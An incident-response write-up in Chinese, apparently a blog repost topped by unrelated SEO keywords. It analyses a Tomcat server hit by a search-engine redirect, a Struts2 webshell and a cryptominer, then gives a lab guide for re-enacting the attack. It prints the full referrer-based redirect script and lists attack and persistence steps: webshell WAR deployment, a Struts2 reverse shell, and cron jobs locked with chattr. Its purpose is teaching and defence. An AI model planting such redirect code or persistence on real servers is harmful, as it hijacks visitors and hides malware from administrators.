好看的学校网站首页wordpress双语网站
好看的学校网站首页,wordpress双语网站,wordpress自动发文章,纵横网站1. 事件背景#xff1a;一次典型的“内外夹击”式入侵
那天下午#xff0c;我正喝着咖啡#xff0c;突然接到一个紧急电话#xff0c;是之前合作过的一家公司运维小李打来的。电话那头的声音有点慌#xff0c;他说#xff1a;“哥#xff0c;我们网站出怪事了#xff0…1. 事件背景一次典型的“内外夹击”式入侵那天下午我正喝着咖啡突然接到一个紧急电话是之前合作过的一家公司运维小李打来的。电话那头的声音有点慌他说“哥我们网站出怪事了从百度点进来直接就跳到乱七八糟的博彩网站去了但直接输网址又没事。而且服务器CPU一直飙到90%多风扇狂转跟要起飞似的。”我一听这描述心里大概就有谱了。这可不是简单的“网站被黑”而是典型的“组合拳”攻击攻击者先利用漏洞或弱口令入侵服务器篡改网站页面植入暗链也叫“黑帽SEO”目的是利用被黑网站的搜索引擎权重给非法网站导流牟利。同时为了最大化“战果”他们还会在服务器上植入挖矿木马把受害者的计算资源变成自己的“矿机”悄无声息地“挖矿”赚取虚拟货币。CPU异常飙升十有八九就是挖矿程序在作祟。这种攻击模式这几年特别流行对攻击者来说是一举两得既有了稳定的流量来源又有了免费的“矿场”。对于企业来说危害则是双重的品牌声誉受损用户访问被跳转到博彩、色情网站以及直接的财产损失电费飙升、业务系统因资源被占而卡顿甚至瘫痪。小李他们公司的情况就是一个非常标准的教科书式案例。接下来我就带你完整复盘一下这次应急响应的全过程从接到报警到彻底清理干净每一步的操作思路和踩过的坑我都会详细拆解。最后我还会提供一个可以自己动手复现的靶场环境让你也能亲身体验一把“安全工程师”的角色。2. 应急响应第一步锁定“病灶”——暗链分析与清除接到求助后我的第一反应不是立刻登录服务器而是先让小李帮我确认几个关键信息这能节省大量盲目排查的时间。我问他“跳转是只发生在首页吗其他页面会不会除了百度用谷歌、搜狗这些搜索引擎试过吗”小李反馈说目前看来只有首页有问题而且测试了几个主流搜索引擎都会跳转。这个信息很重要它把排查范围一下子缩小到了网站的首页文件。2.1 定位被篡改的首页文件通过SSH登录到服务器后我首先需要找到网站真正的首页文件在哪里。很多Java Web应用使用Tomcat作为服务器网站根目录通常是webapps/ROOT/下面的文件。我用了最直接的查找命令find / -name index.jsp 2/dev/null这个命令的意思是在整个根目录/下查找所有名为index.jsp的文件并且把那些“权限不足”的报错信息2/dev/null丢弃掉让结果更清晰。果然命令返回了几个路径其中最关键的是/opt/tomcat9/webapps/ROOT/index.jsp这很可能就是公司官网的首页/opt/tomcat9/webapps/struts2-showcase/index.jsp这是一个Struts2框架的示例应用这里先记下后面可能会是突破口我立刻查看了疑似被篡改的首页文件cat /opt/tomcat9/webapps/ROOT/index.jsp在文件末尾我一眼就发现了一段极其扎眼的JavaScript代码。它被巧妙地插在了正常的HTML代码之间如果不仔细看很容易忽略。script typetext/javascript var search document.referrer; if (search.indexOf(baidu) 0 || search.indexOf(so) 0 || search.indexOf(soso) 0 || search.indexOf(google) 0 || search.indexOf(youdao) 0 || search.indexOf(sogou) 0) { self.location https://www.恶意博彩网站.com; } /script这段代码的逻辑非常“精巧”。document.referrer获取的是当前页面的来源地址。当用户通过点击百度、谷歌等搜索引擎的搜索结果链接访问网站时这个来源地址里就会包含“baidu”、“google”等关键词。代码一旦检测到这些关键词就会立刻将页面跳转到预设的恶意网址。而如果用户是直接输入域名或者从收藏夹访问referrer为空或不会包含这些关键词跳转就不会触发。这完美解释了小李遇到的“搜索引擎访问跳转直接访问正常”的现象。2.2 立即处置与思考找到问题代码处置就很简单了直接用vim或sed命令删除这段恶意脚本或者用备份的干净文件覆盖。但作为安全人员此刻绝不能止步于此。我的脑子里立刻冒出一连串问题攻击者是怎么把这段代码放进去的他必须要有写入index.jsp文件的权限。这通常意味着他要么拿到了Web服务器的管理权限比如Tomcat后台要么利用了Web应用的上传漏洞要么直接通过系统漏洞拿到了服务器的shell。首页被改往往只是冰山一角。所以清除暗链只是止血接下来必须进行全面的“外科手术”找到入侵的根源并清理所有后门。否则今天你删了代码明天攻击者还能用同样的方式再给你插回去。我的调查重点自然转向了Tomcat的访问日志那里记录着所有来访者的“足迹”。3. 日志分析还原攻击者的“犯罪路径”Tomcat的访问日志就像服务器的监控录像是应急响应中最宝贵的线索来源。日志默认存放在Tomcat安装目录的logs/文件夹下文件名通常是localhost_access_log.[日期].txt。我决定从小李发现问题前一天假设是2021-02-24的日志开始看起采用“由近及远、由简到繁”的策略。3.1 发现“低垂的果实”——Tomcat弱口令查看24号的日志内容很少大部分是本地IP127.0.0.1的访问记录。但很快一个来自192.168.184.128的访问记录引起了我的注意192.168.184.128 - tomcat [24/Feb/2021:14:22:15 0800] GET /manager/html HTTP/1.1 200 12345这行日志显示IP为192.168.184.128的用户使用用户名tomcat成功访问了Tomcat的管理后台 (/manager/html)并且返回状态码是200成功。这几乎明示了存在弱口令Tomcat管理后台如果对外开放且使用默认或简单密码就是最危险的入口之一。我立刻检查了Tomcat的用户配置文件cd /opt/tomcat9/conf cat tomcat-users.xml果然配置文件中赫然写着user usernametomcat passwordtomcat rolesmanager-gui/这就是经典的“tomcat/tomcat”默认弱口令攻击者根本不需要什么高深技术直接“敲门”就进来了。为了确认这是唯一的入侵点我统计了所有成功登录管理后台的IPcat /opt/tomcat9/logs/localhost_access_log.* | grep manager/html | awk {print $1, $3} | sort | uniq -c结果证实只有192.168.184.128这个IP成功登录过。第一条关键线索锁定攻击者AIP: 192.168.184.128通过Tomcat弱口令进入系统。3.2 捕捉“扫描者”——目录与漏洞探测接下来查看25号的日志数据量陡增。我使用了一个简单的命令来统计访问最频繁的IPcat localhost_access_log.2021-02-25.txt | awk {print $1} | sort | uniq -c | sort -nr | head -10结果显示除了本地IP和少量正常用户IP外有两个外部IP异常活跃192.168.184.146和192.168.184.1。我分别查看了它们的访问详情对于192.168.184.146cat localhost_access_log.2021-02-25.txt | grep 192.168.184.146 | head -20输出里充满了404状态码访问的路径诸如/admin/、/phpmyadmin/、/config.ini、/backup.sql等。这明显是在使用自动化工具进行目录扫描寻找常见的管理后台、配置文件或备份文件。对于192.168.184.1情况更复杂一些。除了扫描行为我还发现了关键记录192.168.184.1 - - [25/Feb/2021:10:15:33 0800] GET /config.jsp HTTP/1.1 200 512 192.168.184.1 - - [25/Feb/2021:10:16:05 0800] GET /struts2-showcase/actionChain1.action HTTP/1.1 200 2341config.jsp这个文件名非常可疑常见于Webshell网页后门。而struts2-showcase是Tomcat自带的Struts2框架示例应用。Struts2历史上爆出过多个远程代码执行的高危漏洞如S2-045, S2-046等攻击者访问这个路径极有可能是在探测或利用Struts2漏洞。第二条线索浮现攻击者BIP: 192.168.184.1在进行大规模扫描并可能尝试利用Struts2漏洞。至此攻击面扩大了我们可能面临的是多波次、多手段的混合攻击。3.3 追踪致命动作——Webshell上传与漏洞利用我顺着192.168.184.1的线索重点排查了与config.jsp和struts2相关的所有日志。发现该IP在扫描后不久就上传了文件通过POST请求到某个上传点日志中未详细显示上传参数但时间点吻合随后立即访问了config.jsp。我找到这个文件其内容确认了它是一个功能强大的JSP Webshell攻击者可以通过它执行任意系统命令、上传下载文件。同时结合之前发现的/opt/tomcat9/webapps/struts2-showcase/路径我使用漏洞扫描工具对对应的Struts2版本进行了检测确认存在可被利用的远程代码执行漏洞。这意味着即使没有弱口令攻击者也可能通过这个Struts2漏洞直接拿到服务器权限。日志分析到这里攻击链条已经比较清晰了路径一已证实攻击者A利用Tomcat弱口令 (tomcat/tomcat) 进入管理后台可能通过部署WAR包或直接上传文件的方式植入了恶意代码。路径二高度可疑攻击者B通过扫描发现Struts2示例应用利用其漏洞上传Webshell (config.jsp)进而控制服务器。 两者可能是一伙人也可能是不相关的两拨攻击者。但无论如何服务器已经门户大开。而他们接下来的共同动作就是部署挖矿木马将服务器资源变现。4. 深挖与清除剿灭顽固的挖矿木马清理了Web层面的后门删除恶意JS、删除config.jsp接下来就要解决CPU飙升的根源——挖矿木马。这类木马现在都非常“专业”具备进程隐藏、守护进程、定时任务持久化、文件锁保护等一系列对抗查杀的手段。4.1 定位异常进程与清理定时任务首先用top或htop命令查看系统进程。果然一个名为sysupdate的进程长期占用极高的CPU。直接kill -9 PID杀掉它但几秒钟后它又“复活”了。这是典型的守护进程或定时任务在作祟。我立刻检查了系统的定时任务crontab -l发现了一条非常可疑的任务*/30 * * * * /etc/update.sh /dev/null 21每30分钟执行一次/etc/update.sh脚本。尝试删除这个定时任务 (crontab -r或编辑crontab文件) 时系统提示“操作不允许”。这说明文件被设置了不可修改的隐藏属性。使用lsattr命令查看文件属性lsattr /var/spool/cron/root输出显示有一个i属性immutable不可更改。使用chattr -i命令解锁chattr -i /var/spool/cron/root然后再次编辑或删除定时任务。但有时候攻击者会给父目录也加锁。如果直接删除文件失败需要层层向上检查目录属性例如lsattr -d /var/spool/cron/如果目录也有i属性同样需要用chattr -i解除。4.2 斩草除根清除挖矿程序本体光杀进程和删定时任务没用必须找到并删除木马本体。根据进程名sysupdate我直接在系统关键目录搜索find / -name *sysupdate* -o -name *networkservice* -o -name *update.sh* 2/dev/null常见的挖矿木马喜欢藏在/etc/、/tmp/、/dev/shm/等目录。这次在/etc/下发现了“全家桶”sysupdate、networkservice、sysguard挖矿主程序及守护进程ELF二进制文件update.sh用于更新和下载新版本的脚本config.json矿池配置、钱包地址等配置文件尝试删除时同样遇到了“Operation not permitted”的提示。老套路先用lsattr查看再用chattr -i解除锁定cd /etc lsattr sysupdate networkservice sysguard update.sh config.json # 假设输出显示有 i 属性 chattr -i sysupdate networkservice sysguard update.sh config.json rm -rf sysupdate networkservice sysguard update.sh config.json删除文件后再次使用kill -9结束所有相关的异常进程可以通过ps aux | grep -E sysupdate|networkservice查找。等待几分钟观察CPU使用率是否恢复正常并使用top命令确认异常进程没有再次启动。4.3 后续加固与检查清理完成后绝不能掉以轻心。我通常会做以下几件事全面查杀使用chkrootkit、rkhunter等工具进行全面的Rootkit检查。检查其他持久化方式查看系统服务 (systemctl list-unit-files)、启动项 (/etc/rc.local)、profile文件 (/etc/profile,~/.bashrc)、ssh authorized_keys等看是否有恶意添加。漏洞修复这是根本必须修改Tomcat弱口令为复杂密码甚至禁用manager-gui角色的远程访问。彻底移除或升级存在漏洞的Struts2组件。日志审计分析攻击时间点前后的所有日志系统日志/var/log/secure,/var/log/messages寻找更多入侵痕迹。5. 靶场复现亲手搭建你的“练兵场”读到这里你可能觉得过程清晰了但“纸上得来终觉浅”。安全是门实践学科最好的学习方式就是自己动手。下面我就提供一个基于Vulhub或Docker的简易靶场搭建思路你可以完全复现这次攻击。5.1 靶场环境搭建你需要准备一台Linux虚拟机如Ubuntu 20.04并安装Docker和Docker-compose。启动一个存在弱口令的Tomcat环境。你可以使用Vulhub里现成的靶场或者自己用Dockerfile构建一个。核心是确保Tomcat的manager-gui角色启用且密码设置为弱口令如tomcat:tomcat。部署一个存在Struts2漏洞的应用。同样Vulhub提供了多个Struts2漏洞环境如S2-045。将其运行在另一个端口上。模拟网站首页。在Tomcat的ROOT应用下放置一个简单的index.jsp页面。5.2 攻击模拟演练攻击阶段1利用弱口令使用浏览器访问http://靶机IP:8080/manager/html。输入弱口令tomcat/tomcat登录。在管理后台找到“WAR file to deploy”选项上传一个包含恶意JSP代码比如能执行命令的Webshell的WAR包。部署后访问这个Webshell你就获得了服务器命令执行权限。通过Webshell向/opt/tomcat9/webapps/ROOT/index.jsp文件末尾追加我们之前分析的那段恶意跳转JavaScript代码。攻击阶段2利用Struts2漏洞可选使用工具如MSF、或公开的Exp脚本对Struts2漏洞靶场例如http://靶机IP:8080/struts2-showcase/进行攻击。成功利用后会获得一个反向Shell或命令执行能力。同样利用此权限上传Webshell或直接篡改首页。攻击阶段3部署挖矿木马模拟在获得Shell后下载一个模拟的“挖矿程序”注意严禁下载运行真实的挖矿木马可以用一个死循环脚本模拟CPU占用。# 模拟挖矿进程的脚本 miner.sh #!/bin/bash while true; do echo Mining simulation... /dev/null # 或者用 dd if/dev/zero of/dev/null 来消耗CPU done赋予执行权限并运行。编辑定时任务 (crontab -e)加入每5分钟检查并启动该脚本的任务。使用chattr i命令锁住你的脚本和定时任务文件增加清除难度。5.3 防御与响应演练现在切换角色作为防御者进行应急响应现象发现发现网站跳转异常CPU使用率异常通过top观察。排查分析检查首页源代码发现恶意JS。分析Tomcat访问日志 (logs/localhost_access_log.*)寻找可疑IP和访问记录如/manager/html登录成功记录对config.jsp的访问。使用find命令搜索可疑文件config.jsp,sysupdate等。使用ps aux和top查找异常进程。检查定时任务 (crontab -l) 和系统服务。清除处置删除恶意JS代码。清除Webshell (config.jsp)。停止并删除模拟挖矿进程清理相关文件。使用chattr -i解除文件锁删除恶意定时任务。根源加固修改Tomcat弱口令为强密码限制管理后台访问IP。升级或移除存在漏洞的Struts2组件。检查并加固服务器其他配置。通过这样一个完整的“攻防演练”你不仅能深刻理解攻击链条更能切实掌握应急响应的流程、命令和思考方式。安全运维的路上没有捷径唯手熟尔。每一次真实的应急响应都是一次宝贵的经验积累。希望这个详细的案例解析和靶场指南能帮你推开网络安全实战的大门。记住保持警惕定期审计及时更新才是应对这些威胁最有效的方法。